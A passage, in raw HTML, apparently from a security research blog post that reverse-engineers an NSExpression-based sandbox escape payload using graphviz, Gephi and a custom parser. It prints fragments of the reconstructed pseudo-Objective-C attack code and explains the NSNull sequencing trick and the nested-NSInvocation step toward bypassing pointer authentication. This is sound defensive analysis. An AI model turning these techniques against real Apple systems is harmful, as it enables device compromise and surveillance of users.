</span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://graphviz.org/">graphviz</a></span><span class="YrefKOOkxY-c5"> - an open-source graph drawing package. It's pretty simple:</span></p><a id="t.98e62c9402633bcd7ccdf9aee059954278cc1ff7"></a><a id="t.0"></a><table class="YrefKOOkxY-c25"><tr class="YrefKOOkxY-c19"><td class="YrefKOOkxY-c20" colspan="1" rowspan="1"> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">digraph {</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> A -> B</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> B -> C</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> C -> A</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p></td><td class="YrefKOOkxY-c27" colspan="1" rowspan="1"> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_b7V-TsK6Oqr5OSPWT5-hZ5f_8pCrQjOEMVEjnZ1kD1RcrOuxZIcOzSXm-62KfzFotuExCGr2JmFyILYa9cW3OnG4HRBHr0CCC2y4jRcEEr6a_jDns_Bil4DDQpsZThUDilWcajsjKbh_eppltiSH0tnz-8ms907uDCsI7jAliAF6p2aehlhQPGmEEc/s1600/image11.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing a three-node DOT graph with a cycle from A to B to C to A." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_b7V-TsK6Oqr5OSPWT5-hZ5f_8pCrQjOEMVEjnZ1kD1RcrOuxZIcOzSXm-62KfzFotuExCGr2JmFyILYa9cW3OnG4HRBHr0CCC2y4jRcEEr6a_jDns_Bil4DDQpsZThUDilWcajsjKbh_eppltiSH0tnz-8ms907uDCsI7jAliAF6p2aehlhQPGmEEc/s1200/image11.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing a three-node DOT graph with a cycle from A to B to C to A." /></a></span></p></td></tr></table> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">You can also define nodes and edges separately and apply properties to them:</span></p><a id="t.75643bc378451851025ce6c56dec21329e24e67e"></a><a id="t.1"></a><table class="YrefKOOkxY-c25"><tr class="YrefKOOkxY-c19"><td class="YrefKOOkxY-c17" colspan="1" rowspan="1"> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">digraph {</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">A [shape=square]</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">B [label="foo"]</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> A -> B</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> B -> C</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> C -> A [style=dotted]</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">}</span></p></td><td class="YrefKOOkxY-c22" colspan="1" rowspan="1"> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkJnjUKZ5OTep-zxMFYt4YG83L42A-SHhXtVqHQIAxuRhZ2VGCw6cRCHPerUUyTumT1ku6GvCXWIBv_2Zvq8qx_WdHCUsm2TC4bPQ2PIlNcHqJc8C4a-g5iQ7MER2l7N7qjlFdVeYxP_6ul4T3K-4HuChHKuCGsnD-rKQMTyJNUwsC04v9-2x2_O7slFU/s1600/image6.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="A simple 3 node diagram showing different DOT node and edge styles" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkJnjUKZ5OTep-zxMFYt4YG83L42A-SHhXtVqHQIAxuRhZ2VGCw6cRCHPerUUyTumT1ku6GvCXWIBv_2Zvq8qx_WdHCUsm2TC4bPQ2PIlNcHqJc8C4a-g5iQ7MER2l7N7qjlFdVeYxP_6ul4T3K-4HuChHKuCGsnD-rKQMTyJNUwsC04v9-2x2_O7slFU/s1200/image6.png" style="max-height: 750px; max-width: 600px;" title="A simple 3 node diagram showing different DOT node and edge styles" /></a></span></p></td></tr></table> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">With the custom parser it's relatively easy to emit a dot representation of the entire NSExpression graph. But when it comes time to actually render it, progress is rather slow...</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">After leaving it overnight without success it seemed that perhaps a different approach again is required. Graphviz is certainly capable of rendering a graph with tens of thousands of nodes; the part which is likely failing is graphviz's attempts to layout the nodes in a clean way.</span></p><h3 class="YrefKOOkxY-c6" id="h.muy3wfhdrcu"><span class="YrefKOOkxY-c10">Medium data</span></h3> <p class="YrefKOOkxY-c2"><span>Maybe some of the tools explicitly designed for interactively exploring significant datasets could help here. I chose to use </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://gephi.org/">Gephi</a></span><span class="YrefKOOkxY-c5">, an open-source graph visualization platform.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>I loaded the </span><span class="YrefKOOkxY-c3">.dot</span><span class="YrefKOOkxY-c5"> file into Gephi and waited for the magic:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5qT7qy0QbyqqVploNg4LelSnmX9dKZN52iWGEv1Qz4nuDOYnir2beUFJmT4rilB_LsctjwiFQu595S9UYlGPbk3YCMYJEPomUyHJdbicSBg3w8kw_iF6r8-GMpCBxvbmE3uZPbnWMUoQKLniJzpaj31PWV9S5FZWhtVntdjuh68fLW90Fs2lEgs_4gVM/s1600/image16.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="A screenshot of Gephi showing a graph with thousands of overlapping nodes rendered into an almost solid square of indistinguishable circles and arrows" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5qT7qy0QbyqqVploNg4LelSnmX9dKZN52iWGEv1Qz4nuDOYnir2beUFJmT4rilB_LsctjwiFQu595S9UYlGPbk3YCMYJEPomUyHJdbicSBg3w8kw_iF6r8-GMpCBxvbmE3uZPbnWMUoQKLniJzpaj31PWV9S5FZWhtVntdjuh68fLW90Fs2lEgs_4gVM/s1200/image16.png" style="max-height: 750px; max-width: 600px;" title="A screenshot of Gephi showing a graph with thousands of overlapping nodes rendered into an almost solid square of indistinguishable circles and arrows" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This might take some more work.</span></p><h3 class="YrefKOOkxY-c6" id="h.llewtu5hr3t5"><span class="YrefKOOkxY-c10">Directing forces</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The default layout seems to just position all the nodes equally in a square - not particularly useful. But using the layout menu on the left we can choose layouts which might give us some insight. Here's a force-directed layout, which emphasizes highly-connected nodes:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha6DeZ1nYghaKEsUPjE1hwvAgrcxVdsLq9M9if7k45GVZGHNiVNn2LmJYzbebEaIEn3rTMKG8kXizodrwT3AU6OxwdTPnX0T56Q2NKZCtxdVJYSK7fWmF_W6dUySsZZ45hEA8pGG0bJGtvzOW1I9DpYx2Aa9mAGq0aG7NuMLXTbdtBDOZ8_MoZgvXN2Yw/s1600/image9.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Screenshot of Gephi showing a large complex graph where the nodes are distinguishable and there is some clustering" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha6DeZ1nYghaKEsUPjE1hwvAgrcxVdsLq9M9if7k45GVZGHNiVNn2LmJYzbebEaIEn3rTMKG8kXizodrwT3AU6OxwdTPnX0T56Q2NKZCtxdVJYSK7fWmF_W6dUySsZZ45hEA8pGG0bJGtvzOW1I9DpYx2Aa9mAGq0aG7NuMLXTbdtBDOZ8_MoZgvXN2Yw/s1200/image9.png" style="max-height: 750px; max-width: 600px;" title="Screenshot of Gephi showing a large complex graph where the nodes are distinguishable and there is some clustering" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Much better! I then started to investigate which nodes have large in or out degrees and figure out why. For example here we can see that a node with the label func:alloc has a huge in-degree.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyyOoxrXmQdMZz-qFcUgmo76hHEwghN4Z5kzB_V3gf-tXsC2S8ZYFqLd1VcDuo5rM1h1eQ_f0jdzepAGKta-fc-vqmOFK1Y_E9lFQHjyvxrscPI9zZyJG5VWXBlOQ-fKpcUITbXZGH99Fas8g77dasgQmSgxtEswJEF2_IwZB5JNsO-mZywfbDsAzTOYs/s1600/image8.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Screenshot of Gephi showing the func:alloc node with a very large number of incoming graph edges" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyyOoxrXmQdMZz-qFcUgmo76hHEwghN4Z5kzB_V3gf-tXsC2S8ZYFqLd1VcDuo5rM1h1eQ_f0jdzepAGKta-fc-vqmOFK1Y_E9lFQHjyvxrscPI9zZyJG5VWXBlOQ-fKpcUITbXZGH99Fas8g77dasgQmSgxtEswJEF2_IwZB5JNsO-mZywfbDsAzTOYs/s1200/image8.png" style="max-height: 750px; max-width: 600px;" title="Screenshot of Gephi showing the func:alloc node with a very large number of incoming graph edges" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Trying to layout the graph with nodes which such high indegrees just leads to a mess (and was potentially what was slowing the graphviz tools down so much) so I started adding hacks to the custom parser to duplicate certain nodes while maintaining the semantics of the expression in order to minimize the number of crossing edges in the graph.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">During this iterative process I ended up creating the graph shown at the start of this writeup, when only a handful of high in-degree nodes remained and the rest separated cleanly into clusters:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1600/image7.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1200/image7.png" style="max-height: 750px; max-width: 600px;" title="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" /></a></span></p><h3 class="YrefKOOkxY-c6" id="h.k0664pz5mug4"><span class="YrefKOOkxY-c10">Flattening</span></h3> <p class="YrefKOOkxY-c2"><span>Although this created a large number of extra nodes in the graph it turns out that this has made things much easier for graphviz to layout. It still can't do the whole graph, but we can now split it into chunks which successfully render to very large SVGs. The advantage of switching back to graphviz is that we can render arbitrary information with custom node and edge labels. For example using custom shape primitives to make the arrays of </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5"> arguments stand out more clearly:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxSkoNTMqfudlBmWGUwZwiohNCIu8xpvOdBmB-hIRXLf7vSddvP0Ay6M8AfPZQNME_UzZHDSbE5Dofvlaap7gy3DdBTseXL7Dml-YW2wv9wBa3vjJ6Jt4_DtUNcTxV0AlG4QZBfgx4_1I6sDEa00vO-qPh-yPR8w1DRjnaGJEMMn4YeAvvGy6ul6fFXNE/s1566/image5.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing an NSExpression subgraph performing a bitwise operation and using variables" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxSkoNTMqfudlBmWGUwZwiohNCIu8xpvOdBmB-hIRXLf7vSddvP0Ay6M8AfPZQNME_UzZHDSbE5Dofvlaap7gy3DdBTseXL7Dml-YW2wv9wBa3vjJ6Jt4_DtUNcTxV0AlG4QZBfgx4_1I6sDEa00vO-qPh-yPR8w1DRjnaGJEMMn4YeAvvGy6ul6fFXNE/s1200/image5.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing an NSExpression subgraph performing a bitwise operation and using variables" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Here we can see nested related function calls, where the intention is clearly to pass the return value from one call as the argument to another. Starting in the bottom right of the graph shown above we can work backwards (towards the top left) to reconstruct pseudo-objective-c:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[writeInvocationName</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> getArgument:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [ [_NSPredicateUtils</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bitwiseOr: [NSNumber numberWithUnsignedLongLong:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [intermediateAddress: bytes]]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> with: @0x8000000000000000]] longLongValue ]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> atIndex: [@0x1 longLongValue] ]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">We can also now clearly see the trick they use to execute multiple unrelated statements:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipo1_BJVDoZY-HkSmQBs2EehlcTnWvTalheSR74itlEnLnW3OzGzx4Gk3AoFjVM1moihApNadCoaQzJXXCzAmvuXWCEMIAN210z1eu5wh50lHGBszL_UWIHchQ9mj7gXyDFVr9Y4Fk0TYtdv2YoT-cFqWK-BjL7S2lMzN4bVxi6KsFXX1PB3tw0BSfMS0/s1276/image10.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing a graph of NSNull alloc nodes tying unrelated statements together" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipo1_BJVDoZY-HkSmQBs2EehlcTnWvTalheSR74itlEnLnW3OzGzx4Gk3AoFjVM1moihApNadCoaQzJXXCzAmvuXWCEMIAN210z1eu5wh50lHGBszL_UWIHchQ9mj7gXyDFVr9Y4Fk0TYtdv2YoT-cFqWK-BjL7S2lMzN4bVxi6KsFXX1PB3tw0BSfMS0/s1200/image10.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing a graph of NSNull alloc nodes tying unrelated statements together" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Multiple unrelated expressions are evaluated sequentially by passing them as arguments to an </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span> calling </span><span class="YrefKOOkxY-c3">[NSNull alloc]</span><span>. This is a method which takes no arguments and has no side-effects (the </span><span class="YrefKOOkxY-c3">NSNull</span><span> is a singleton and </span><span class="YrefKOOkxY-c3">alloc</span><span> returns a global pointer) but </span><span>the</span><span> </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5"> evaluation will still evaluate all the provided arguments then discard them.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They build a huge tree of these </span><span class="YrefKOOkxY-c3">[NSNull alloc]</span><span class="YrefKOOkxY-c5"> nodes which allows them to sequentially execute unrelated expressions.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy38GVNF5THf65qjWhTjOlzJixu9MiOpzLQ7I8vkZx93U2__h8ympN_kXbtAGx8Rm8438yTPzDjZjBNlTNLAoCThHD6FF7pbE3f5xDpMNOEjAsZQlLOey6chJ2oJn1rmsDD7IJjpInA9p-SlB_Y5P-qlN6Emh8DA2NkdPbxKWWn8TU4ceqOa7LLV95wyg/s1600/image2.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing nodes and edges in a tree of NSNull alloc NSFunctionExpressions" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy38GVNF5THf65qjWhTjOlzJixu9MiOpzLQ7I8vkZx93U2__h8ympN_kXbtAGx8Rm8438yTPzDjZjBNlTNLAoCThHD6FF7pbE3f5xDpMNOEjAsZQlLOey6chJ2oJn1rmsDD7IJjpInA9p-SlB_Y5P-qlN6Emh8DA2NkdPbxKWWn8TU4ceqOa7LLV95wyg/s1200/image2.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing nodes and edges in a tree of NSNull alloc NSFunctionExpressions" /></a></span></p><h3 class="YrefKOOkxY-c6" id="h.w7j3gk2z0ns6"><span class="YrefKOOkxY-c10">Connecting the dots</span></h3> <p class="YrefKOOkxY-c2"><span>Since the return values of the evaluated arguments are discarded they use </span><span class="YrefKOOkxY-c3">NSVariableExpressions</span><span> to connect the statements semantically. These are a wrapper around an </span><span class="YrefKOOkxY-c3">NSDictionary</span><span> object which can be used to store named values. Using the custom parser we can see there are 218 different named variables. Interestingly, whilst Mach-O is stripped and all symbols were removed, that's not the case for the </span><span class="YrefKOOkxY-c3">NSVariable</span><span class="YrefKOOkxY-c5">s - we can see their full (presumably original) names.</span></p><h3 class="YrefKOOkxY-c6" id="h.wc41jgvmqudh"><span class="YrefKOOkxY-c10">bplist_to_objc</span></h3> <p class="YrefKOOkxY-c2"><span>Having figured out the </span><span class="YrefKOOkxY-c3">NSNull</span><span> trick they use for sequential expression evaluation it's now possible to flatten the graph to pseudo-objective-c code, splitting each argument to an </span><span class="YrefKOOkxY-c3">[NSNull alloc]</span><span> </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5"> into separate statements:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">id v_detachNewThreadWithBlock:_NSFunctionExpression = [NSNumber numberWithUnsignedLongLong:[[[NSFunctionExpression alloc] initWithTarget:@"target" selectorName:@"detachNewThreadWithBlock:" arguments:@[] ] selector] ];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This is getting closer to a decompiler-type output. It's still a bit jumbled, but significantly more readable than the graph and can be refactored in a code editor.</span></p><h3 class="YrefKOOkxY-c6" id="h.dizg9rmb493d"><span class="YrefKOOkxY-c10">Helping out</span></h3> <p class="YrefKOOkxY-c2"><span>The expressions make use of </span><span class="YrefKOOkxY-c3">NSPredicateUtilities</span><span class="YrefKOOkxY-c5"> for arithmetic and bitwise operations. Since we don't have to support arbitrary input, we can just hardcode the selectors which implement those operations and emit a more readable helper function call instead:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if selector_str == 'bitwiseOr:with:':</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> arg_vals = follow(o, ['NSArguments', 'NS.objects'])</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> s += 'set_msb(%s)' % parse_expression(arg_vals[0], depth+1)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> elif selector_str == 'add:to:':</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> arg_vals = follow(o, ['NSArguments', 'NS.objects'])</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> s += 'add(%s, %s)' % (parse_expression(arg_vals[0], depth+1), parse_expression(arg_vals[1], depth+1))</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This yields arithmetic statements which look like this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_dlsym_lock_ptrinvocation setArgument:[set_msb(add(v_OOO_dyld_dyld, @0xa0)) longLongValue] atIndex:[@0x2 longLongValue] ];</span></p><h3 class="YrefKOOkxY-c6" id="h.wqnkqawy6n5v"><span class="YrefKOOkxY-c10">but...why?</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">After all that we're left with around 1000 lines of sort-of readable pseudo-objective-C. There are a number of further tricks they use to implement things like arbitrary read and write which I manually replaced with simple assignment statements.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The attackers are already in a very strong position at this point; they can evaluate arbitrary </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">s, with the security bits disabled such that they can still allocate and interact with arbitrary classes. But in this case the attackers are determined to be able to call arbitrary functions, without being restricted to just Objective-C selector invocations.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The major barrier to doing this easily is PAC (pointer authentication.) The B-family PAC keys used for backwards-edge protection (e.g. return addresses on the stack) were always per-process but the A-family keys (used for forward-edge protection for things like function pointers) used to be shared across all userspace processes, meaning userspace tasks could forge signed forward-edge PAC'ed pointers which would be valid in other tasks.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">With some low-level changes to the virtual memory code it's now possible for tasks to use private, isolated A-family keys as well, which means that the WebContent process can't necessarily forge forward-edge keys for other tasks (like the GPU Process.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Most previous userspace PAC defeats were finding a way where a forged forward-edge function pointer could be used across a privilege boundary - and when forward-edge keys were shared there were a great number of such primitives. Kernel PAC defeats tended to be slightly more involved, often targeting race-conditions to create signing oracles or similar primitives. We'll see that the attackers took inspiration from those kernel-PAC defeats here...</span></p><h3 class="YrefKOOkxY-c6" id="h.4hmu95xgbl8o"><span class="YrefKOOkxY-c10">Invoking Invocations with IMPs</span></h3> <p class="YrefKOOkxY-c2"><span>An </span><span class="YrefKOOkxY-c1 YrefKOOkxY-c3"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/documentation/foundation/nsinvocation">NSInvocation</a></span><span>, as the name suggests, wraps up an Objective-C method call such that it can be called at a later point. Although conceptually in Objective-C you don't "call methods" but instead "pass messages to objects" in reality of course you do end up eventually at a branch instruction to the native code which implements the selector for the target object. It's also possible to cache the address of this native code as an </span><span class="YrefKOOkxY-c3">IMP</span><span class="YrefKOOkxY-c5"> object (it's really just a function pointer.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>As outlined in the </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://codecolor.ist/2021/01/16/see-no-eval-runtime-code-execution-objc/">see-no-eval NSExpression blogpost</a></span><span> </span><span class="YrefKOOkxY-c3">NSInvocation</span><span>s can be used to get instruction pointer control from </span><span class="YrefKOOkxY-c3">NSExpression</span><span>s - with the caveat that you must provide a signed </span><span class="YrefKOOkxY-c3">PC</span><span> value. The first method they call using this primitive is the implementation of </span><span class="YrefKOOkxY-c3">[CFPrefsSource lock]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">; void __cdecl -[CFPrefsSource lock](CFPrefsSource *self, SEL)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ADD X0, X0, #0x34</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">B _os_unfair_lock_loc</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They get a signed (with </span><span class="YrefKOOkxY-c3">PACIZA</span><span>) </span><span class="YrefKOOkxY-c3">IMP</span><span class="YrefKOOkxY-c5"> for this function by calling</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id os_unfair_lock_0x34_IMP = [[CFPrefsSource alloc] methodForSelector: sel(lock)]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>To call that function they use two nested </span><span class="YrefKOOkxY-c3">NSInvocation</span><span class="YrefKOOkxY-c5">s:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id invocationInner = [templateInvocation copy];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationInner setTarget:(dlsym_lock_ptr - 0x34)]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationInner setSelector: [@0x43434343 longLongValue]]</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id invocationOuter = [templateInvocation copy];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationOuter setSelector: sel(invokeUsingIMP)];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationOuter setArgument: os_unfair_lock_loc_IMP</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> atIndex: @2];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They then call </span><span class="YrefKOOkxY-c3">invoke</span><span> on the outer invocation, which invokes the inner invocation via </span><span class="YrefKOOkxY-c3">invokeUsingIMP:</span><span> which allows the </span><span class="YrefKOOkxY-c3">[CFPrefsSource lock]</span><span> function implementation to be called on something which most certainly isn't a </span><span class="YrefKOOkxY-c3">CFPrefsSource</span><span> object (as the </span><span class="YrefKOOkxY-c3">invokeWithIMP</span><span> bypasses the regular Objective-C selector-to-</span><span class="YrefKOOkxY-c3">IMP</span><span class="YrefKOOkxY-c5"> lookup process.)</span></p><h3 